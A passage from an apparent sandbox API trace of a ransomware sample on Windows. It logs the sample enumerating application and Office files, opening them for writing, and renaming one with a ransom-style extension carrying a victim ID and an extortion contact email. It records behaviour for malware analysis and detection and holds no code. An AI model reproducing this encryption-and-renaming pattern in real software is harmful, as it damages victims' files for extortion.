Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\purmesh.jpg", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\purmesh.jpg") returned 1 [0241.047] GetProcessHeap () returned 0x630000 [0241.047] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f0) returned 0x6fe3bb0 [0241.047] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\purmesh.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\purmesh.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.053] Sleep (dwMilliseconds=0x1) [0241.063] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\pitissue.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\pitissue.jpg") returned 1 [0241.063] GetProcessHeap () returned 0x630000 [0241.063] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53ec) returned 0x6fe3bb0 [0241.063] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\pitissue.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\pitissue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.066] Sleep (dwMilliseconds=0x1) [0241.078] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\parchmnt.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\parchmnt.jpg") returned 1 [0241.078] GetProcessHeap () returned 0x630000 [0241.079] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53e8) returned 0x6fe3bb0 [0241.079] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\parchmnt.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\parchmnt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.080] Sleep (dwMilliseconds=0x1) [0241.094] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\papyrus.jpg", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\papyrus.jpg") returned 1 [0241.094] GetProcessHeap () returned 0x630000 [0241.094] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53e4) returned 0x6fe3bb0 [0241.094] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\papyrus.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\papyrus.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.096] Sleep (dwMilliseconds=0x1) [0241.110] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\oak.jpg", len=0x6e | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\oak.jpg") returned 1 [0241.110] GetProcessHeap () returned 0x630000 [0241.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53dc) returned 0x6fe3bb0 [0241.110] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\oak.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\oak.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.112] Sleep (dwMilliseconds=0x1) [0241.125] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\newsprnt.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\newsprnt.jpg") returned 1 [0241.125] GetProcessHeap () returned 0x630000 [0241.125] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53d8) returned 0x6fe3bb0 [0241.126] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\newsprnt.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\newsprnt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.127] Sleep (dwMilliseconds=0x1) [0241.141] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\medwood.jpg", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\medwood.jpg") returned 1 [0241.141] GetProcessHeap () returned 0x630000 [0241.141] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53d4) returned 0x6fe3bb0 [0241.141] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\medwood.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\medwood.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.143] Sleep (dwMilliseconds=0x1) [0241.157] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\grmarble.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\grmarble.jpg") returned 1 [0241.157] GetProcessHeap () returned 0x630000 [0241.157] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53d0) returned 0x6fe3bb0 [0241.157] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\grmarble.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\grmarble.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.160] Sleep (dwMilliseconds=0x1) [0241.172] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\granite.jpg", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\granite.jpg") returned 1 [0241.172] GetProcessHeap () returned 0x630000 [0241.172] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53cc) returned 0x6fe3bb0 [0241.173] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\granite.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\granite.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.174] Sleep (dwMilliseconds=0x1) [0241.188] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\fishfosl.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\fishfosl.jpg") returned 1 [0241.188] GetProcessHeap () returned 0x630000 [0241.188] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53c8) returned 0x6fe3bb0 [0241.188] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\fishfosl.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\fishfosl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.191] Sleep (dwMilliseconds=0x1) [0241.203] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\droplets.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\droplets.jpg") returned 1 [0241.203] GetProcessHeap () returned 0x630000 [0241.203] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53c4) returned 0x6fe3bb0 [0241.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\droplets.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\droplets.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.206] Sleep (dwMilliseconds=0x1) [0241.219] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\denim.jpg", len=0x70 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\denim.jpg") returned 1 [0241.219] GetProcessHeap () returned 0x630000 [0241.219] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53c0) returned 0x6fe3bb0 [0241.219] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\denim.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\denim.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.221] Sleep (dwMilliseconds=0x1) [0241.235] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\cork.jpg", len=0x6f | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\cork.jpg") returned 1 [0241.235] GetProcessHeap () returned 0x630000 [0241.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53bc) returned 0x6fe3bb0 [0241.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\cork.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\cork.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.237] Sleep (dwMilliseconds=0x1) [0241.251] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bouquet.jpg", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bouquet.jpg") returned 1 [0241.252] GetProcessHeap () returned 0x630000 [0241.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53b0) returned 0x6fe3bb0 [0241.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\bouquet.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\bouquet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.252] Sleep (dwMilliseconds=0x1) [0241.270] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png") returned 1 [0241.270] GetProcessHeap () returned 0x630000 [0241.270] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53a8) returned 0x6fe3bb0 [0241.270] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\scanicon_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.316] Sleep (dwMilliseconds=0x1) [0241.351] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Rotate.scale-100.png", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Rotate.scale-100.png") returned 1 [0241.351] GetProcessHeap () returned 0x630000 [0241.351] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5378) returned 0x6fe3bb0 [0241.351] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Rotate.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\rotate.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.353] Sleep (dwMilliseconds=0x1) [0241.362] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Print.scale-100.png", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Print.scale-100.png") returned 1 [0241.362] GetProcessHeap () returned 0x630000 [0241.362] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5364) returned 0x6fe3bb0 [0241.362] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Print.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\print.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.366] Sleep (dwMilliseconds=0x1) [0241.389] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Group.scale-100.png", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Group.scale-100.png") returned 1 [0241.389] GetProcessHeap () returned 0x630000 [0241.389] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5340) returned 0x6fe3bb0 [0241.389] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Group.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\group.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.393] Sleep (dwMilliseconds=0x1) [0241.411] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\clone.scale-100.png", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\clone.scale-100.png") returned 1 [0241.411] GetProcessHeap () returned 0x630000 [0241.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x532c) returned 0x6fe3bb0 [0241.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\clone.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\clone.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.415] Sleep (dwMilliseconds=0x1) [0243.059] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json", len=0x6f | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json") returned 1 [0243.059] GetProcessHeap () returned 0x630000 [0243.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5478) returned 0x6fe3bb0 [0243.060] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\currencyinfo.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.061] Sleep (dwMilliseconds=0x1) [0243.096] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x60 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0243.096] GetProcessHeap () returned 0x630000 [0243.096] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53fc) returned 0x6fe3bb0 [0243.096] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.116] Sleep (dwMilliseconds=0x1) [0243.153] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", len=0x79 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js") returned 1 [0243.153] GetProcessHeap () returned 0x630000 [0243.153] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x535c) returned 0x6fe3bb0 [0243.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.242] Sleep (dwMilliseconds=0x1) [0245.772] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl", len=0x77 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl") returned 1 [0245.772] GetProcessHeap () returned 0x630000 [0245.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e68) returned 0x6fe3bb0 [0245.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0245.773] CloseHandle (hObject=0x6c8) returned 1 [0245.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, 